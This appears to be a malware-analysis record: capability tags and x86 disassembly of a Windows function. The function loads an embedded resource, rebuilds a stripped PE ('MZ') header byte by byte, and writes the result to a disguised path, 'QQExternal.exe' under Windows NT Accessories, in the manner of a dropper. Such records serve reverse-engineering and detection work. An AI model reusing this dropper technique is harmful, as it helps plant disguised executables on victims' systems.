Function at 0x401000
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
sub esp, 0x5c
mov eax, dword [0x40e004]
xor eax, esp
mov dword [esp + 0x58], eax
push ebx
push edi
push 0x40d3a4
push 0x66
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
cmp edi, ebx
jne 0x401039
pop edi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x58]
xor ecx, esp
call fcn.00401351
add esp, 0x5c
ret
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
add esi, 0x4e
cmp esi, 0x4e
je 0x40105c
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [esp + 0xc], eax
cmp eax, ebx
jne 0x401070
pop esi
pop edi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x58]
xor ecx, esp
call fcn.00401351
add esp, 0x5c
ret
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov al, 0xff
mov byte [esp + 0x24], al
mov byte [esp + 0x25], al
mov al, 0xe
mov dl, 0xb8
mov cl, 0xcd
mov byte [esp + 0x58], al
mov byte [esp + 0x5b], al
mov byte [esp + 0x18], 0x4d
mov byte [esp + 0x19], 0x5a
mov byte [esp + 0x1a], 0x90
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 3
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], 4
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], bl
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], dl
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], bl
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], bl
mov byte [esp + 0x30], 0x40
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], bl
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], bl
mov byte [esp + 0x3f], bl
mov byte [esp + 0x40], bl
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], bl
mov byte [esp + 0x43], bl
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], bl
mov byte [esp + 0x47], bl
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], bl
mov byte [esp + 0x4b], bl
mov byte [esp + 0x4c], bl
mov byte [esp + 0x4d], bl
mov byte [esp + 0x4e], bl
mov byte [esp + 0x4f], bl
mov byte [esp + 0x50], bl
mov byte [esp + 0x51], bl
mov byte [esp + 0x52], bl
mov byte [esp + 0x53], bl
mov byte [esp + 0x54], 0xd8
mov byte [esp + 0x55], bl
mov byte [esp + 0x56], bl
mov byte [esp + 0x57], bl
mov byte [esp + 0x59], 0x1f
mov byte [esp + 0x5a], 0xba
mov byte [esp + 0x5c], bl
mov byte [esp + 0x5d], 0xb4
mov byte [esp + 0x5e], 9
mov byte [esp + 0x5f], cl
mov al, 0x21
push esi
push 0x40
mov byte [esp + 0x68], al
mov byte [esp + 0x69], dl
mov byte [esp + 0x6a], 1
mov byte [esp + 0x6b], 0x4c
mov byte [esp + 0x6c], cl
mov byte [esp + 0x6d], al
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push esi
mov ebp, eax
push edi
push ebp
call fcn.00406210
add esp, 0xc
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push str.C:Program_FilesWindows_NTAccessoriesQQExternal.exe
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401263
push ebx
lea eax, [esp + 0x18]
push eax
push 0x4e
lea ecx, [esp + 0x24]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40123b
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop ebp
pop esi
pop edi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x58]
xor ecx, esp
call fcn.00401351
add esp, 0x5c
ret
push ebx
lea eax, [esp + 0x18]
push eax
add esi, 0xffffffb2
push esi
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
test eax, eax
jne 0x401278
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop ebp
pop esi
pop edi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x58]
xor ecx, esp
call fcn.00401351
add esp, 0x5c
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [esp + 0x68]
pop ebp
pop esi
pop edi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.00401351
add esp, 0x5c
ret